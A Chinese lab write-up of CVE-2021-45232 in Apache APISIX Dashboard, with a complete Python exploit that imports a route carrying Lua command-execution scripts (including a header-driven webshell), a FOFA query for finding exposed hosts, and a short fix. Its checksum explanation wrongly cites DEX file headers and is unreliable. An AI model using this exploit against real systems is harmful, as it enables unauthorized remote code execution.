CVE-2021-45232 Apache APISIX 从未授权访问到RCE
00x1漏洞环境
Apache APISIX Dashboard 2.7 - 2.10 版本受到影响
通过git拉取在docker搭建环境
git clone https://github.com/apache/apisix-docker
注意这里需要把yml文件改成2.7版本

然后用docker搭建就可以了
00x2 攻击过程
环境跑起来后成功访问到9000登录界面

这里的未授权访问指的是对下面两个接口没有鉴权处理
/apisix/admin/migrate/export
/apisix/admin/migrate/import
用burp抓个包,访问export接口,可以看到返回了路由信息

这里不光光能返回路由的配置信息,还能import导入路由配置,
首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)

我们可以在官方文档里看到这些属性的作用

如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令

直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000

可以看到成功挂载了 852文件,命令执行成功

那么要如何通过访问import接口来给他导入配置呢?
00x3 漏洞分析
通过参考网上别人的分析,因为是go语言 没学过就不多分析了
后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置
自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。
看代码分析知道可以有修改或者新建路由配置来完成。
关键的一点这里传入的配置需要计算文件的checksum,
简答了解一下:
checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08偏移地址处,占用4个字节,采用小端序存储。
这里给出朋友改的代码:
import random, string, json, zlib, requests """
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
""" eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "os.execute('touch /tmp/mytest')",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
} # 将数据进行checksum
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big") def import_apix(url, data):
data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传
checksum = calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
# proxies=proxies 这里是通过post去发包,走代理proxies
if resp.json().get("code", -1) == 0:
return True
else:
return False """
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
} # 生成一个随机路径
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str()
print(uri)
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
print(eval_config, end='\n')
if import_apix('http://192.168.255.128:9000', eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")
我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置

我们在py里输出了随机生成的命名uri

直接去访问该API

回到环境看看,成功RCE了

在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看
https://github.com/wuppp/cve-2021-45232-exp#readme
代码关键就是
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令
所以import这种配置成功后,就可以这样执行命令了


不得不说这更加有持久性 evil~
在fofa里面可以这样来搜索,使用该组件的主机
title="Apache APISIX Dashboard"
00x4 修复方案
更新到最新版本,新版本代理做了鉴权处理
参考:
https://www.cnblogs.com/xiaozhi789/articles/15763472.html
CVE-2021-45232 Apache APISIX 从未授权访问到RCE的更多相关文章
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- WEB中间件--Jboss未授权访问,
1,Jboss未授权访问部署木马 发现存在Jboss默认页面,点进控制页 点击 Jboss.deployment 进入应用部署页面 也可以直接输入此URL进入 http://www.ctfswiki. ...
- zookeeper未授权访问漏洞
1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- 王院生:Apache APISIX 微服务网关极致性能架构解析
2019 年 10 月 27 日,又拍云联合 Apache APISIX 社区举办 API 网关与高性能服务最佳实践丨Open Talk 杭州站活动,Apache APISIX PPMC 成员王院生做 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
随机推荐
- Linux目录结构和基础命令
Linux目录和基础命令 目录 Linux目录和基础命令 1 Linux目录结构 1.1 Linux文件名命令要求 1.2 文件的类型 2. 基础命令 2.1 ls 2.2 cd和pwd 2.3 命令 ...
- shell脚本 awk实现查看ip连接数
一.简介 处理文本,是awk的强项了. 无论性能已经速度都是让人惊叹! 二.使用 适用:centos6+ 语言:英文 注意:无 awk 'BEGIN{ while("netstat -an& ...
- vue在某页面监听键盘输入事件
需求:在某一网页,通过上下左右键控制一些操作 实现: 1.基本代码: 因为没有绑定特定的元素.所以我们将事件绑定到document上. //当前页面监视键盘输入 document.onkeydown ...
- Wireshark(四):网络性能排查之TCP重传与重复ACK
原文出处: EMC中文支持论坛 作为网络管理员,很多时间必然会耗费在修复慢速服务器和其他终端.但用户感到网络运行缓慢并不意味着就是网络问题. 解决网络性能问题,首先从TCP错误恢复功能(TCP重传与重 ...
- React中使用 react-router-dom 路由传参的三种方式详解【含V5.x、V6.x】!!!
路由传值的三种方式(v5.x) params参数 //路由链接(携带参数): <Link to='/demo/test/tom/18'}>详情</Link> //或 <L ...
- 2020信息安全铁人三项 pwn复盘
第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...
- CF1041B Buying a TV Set 题解
Content 给定四个数 \(a,b,c,d\),求满足以下条件的数对 \((x,y)\) 的个数: \(x\leqslant a,y\leqslant b\). \(\dfrac{x}{y}=\d ...
- 磁盘分区级文件系统丢失找回 testdisk
故障修复步骤: 1. 检查磁盘分区级文件系统确实不在: 2. 云主机内部下载testdisk工具修复 yum install testdisk -y 3. 执行命令testdisk /dev/vdc进 ...
- 遇到奇葩的现象,给input的id为10的value属性赋值为6,但是怎么显示的时候值还是原先的9的
遇到奇葩的现象,给input的id为10的value属性赋值为6,但是怎么显示的时候值还是原先的9的 后来发现原来是id标签重复了,所有以后得注意了. 人员信息input的id属性与隐藏input属性 ...
- 从go程序中发消息给winform(C#)
背景: 1.服务端语言为GO,客户端语言为:C#(WinForm): 2.在客户端操执行长耗时任务时,服务器应该将后台日志或定时将心跳信息及时传递给客户端,这样方便用户查看服务器执行情况(重要). 一 ...